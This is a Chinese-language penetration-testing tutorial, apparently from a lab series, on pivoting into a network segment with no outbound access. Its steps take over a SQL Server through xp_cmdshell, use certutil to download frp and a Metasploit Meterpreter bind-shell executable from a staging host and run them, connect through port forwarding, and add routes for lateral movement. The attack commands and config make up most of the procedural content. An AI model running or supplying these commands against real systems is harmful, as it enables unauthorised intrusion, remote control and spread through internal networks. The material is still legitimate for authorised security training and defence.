内网转发
内容简介
本小节主要讲解面对不出网的机器,我们如何利用内网可以出网的主机做跳板进行端口转发,从而间接的上线内网不出网的主机。
网络拓扑
查看 SQL Server 发现真实的 IP 地址为:192.168.10.15:
而我们是通过 172.18.100.254 这个网关的 1433 端口直接去访问的,这是因为 SQL Server 的真实位置在更深入的内网域的 192.168.10.0/254 网段下,通过端口转发映射到 172.16.100.254 网关上的,大概的网络关系如下:
思路规划
目前先整理一下当前的线索:
- 192.168.10.0/254 网段只有 DNS 可以出网,不允许 TCP 协议出网
- 172.18.100.0/254 网段是可以正常 TCP 出网的
- 我们拿到了 172.18.100.10 (Web 站点)这个服务器的 root 权限
- 我们拿到了 172.18.100.101 (泛微站点)这个服务器的 administrator 权限
- 192.168.10.0/254 网段 到 172.18.100.0/254 网段是连通的
- 172.18.100.0/254 网段 到 192.168.10.0/254 网段默认是不通的
- 172.18.100.0/254 网段要访问 192.168.10.0/254 网段 可以通过 Proxy 代理访问
通过上述线索,我们整理出的攻击路径如下:
- MSF 生成正向 Bind TCP 的 0.0.0.0:30001 的 exe 木马
- SQL Server 使用做 30001 端口转发到泛微 OA 的 30001 端口
- SQL Server 执行正向 Bind TCP 的 exe
- MSF 执行正向 Bind TCP 监听控制 SQL Server
端口转发
端口转发的工具有很多,比如经典的 LCX、frp、还有 NPS 等,我们这里暂时使用 Frp 来做端口转发演示,详细的端口转发教程可以参考我们的内网隧道技术-网络隧道技术 章节。
frps 服务端启动
下载最新的 releases 包到泛微 OA 的机器上,然后编辑 frps.toml 配置文件如下(默认就是这个):
然后用下面的命令启动服务端:
frpc 客户端下载
泛微 OA 启动 HTTP 服务,得到内网的 frpc.exe 的下载链接:
然后在 SQL Server 上执行如下命令下载文件到服务器上:
exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.exe C:\Users\Public\frpc.exe && dir C:\Users\Public\';
目录权限细节问题
因为当前的 SQL Server 权限很低,很多目录我们是无法写入的,本文中使用的 C:\Users\Public\
目录就是一个权限比较松散的目录,是可以正常写入的。
下发 frpc 配置
frpc 做端口转发的话,可以参考如下的 frpc.toml 配置:
serverAddr = "172.18.100.101"
serverPort = 7000
[[proxies]]
name = "port_forward"
type = "tcp"
localIP = "0.0.0.0"
localPort = 30001
remotePort = 30001
然后同样通过 certutil 命令下载到 SQL Server 的服务器上:
exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.toml C:\Users\Public\frpc.toml && type C:\Users\Public\frpc.toml';
上线客户端
既然 frpc.exe 和对应的 frpc.toml 配置文件已经下载到了 SQL Server 的服务器上,那么直接来执行上线的命令吧:
随后就能看到服务端显示有新的客户端接入:
木马上线
生成木马
首先来使用 MSF 来生成对应的正向木马:
msf6 > use payload/windows/x64/meterpreter_bind_tcp
msf6 payload(windows/x64/meterpreter_bind_tcp) > set RHOST 0.0.0.0
msf6 > set LPORT 30001
然后直接在 msfconsole 控制台里面使用 generate 生成 shell 木马文件:
msf6 payload(windows/x64/meterpreter_bind_tcp) > generate -f exe -o shell.exe
[*] Writing 208384 bytes to shell.exe...
执行木马
同样使用上面的方法将 shell.exe 下载到 SQL Server 的服务器下并执行:
exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/shell/shell.exe C:\Users\Public\shell.exe && C:\Users\Public\shell.exe';
这样就相当于在 SQL Server 机器上执行了 shell.exe 木马,则在这台服务器本身开了一个 30001 的口子等待 MSF 来连接。
连接木马
因为我们通过 frp 将 SQL Server 的 30001 端口转发到了 172.18.100.101 机器上的 30001 端口上,而 MSF 通过挂 Socks5 代理隧道是可以直接请求访问 172.18.100.0/24 网段的,所以此时 MSF 使用监听器直接连接 172.18.100.101 的 30001 端口就相当于是连接 SQL Server 木马开的 Bind TCP 30001 端口,即可上线。
主要的操作细节如下:
msf6 > use exploits/multi/handler
msf6 > set payload windows/x64/meterpreter_bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 30001
msf6 > run
成功上线:
创建路由
系创建成功后记得将当前 Session 的网段路由添加进来:
因为发现我们控制的此主机到 192.168.20.0/24 网段也是通的:
所以我们还可以手动添加一条 192.168.20.0/24 网段的路由:
查看一下路由,此时我们已经有 3 条路由了:
这样 MSF 访问这三个内网的网段都是畅通无阻的,且,其他应用通过MSF 开出来的 Socks 代理也是可以畅通无阻的访问这三个内网的网段的。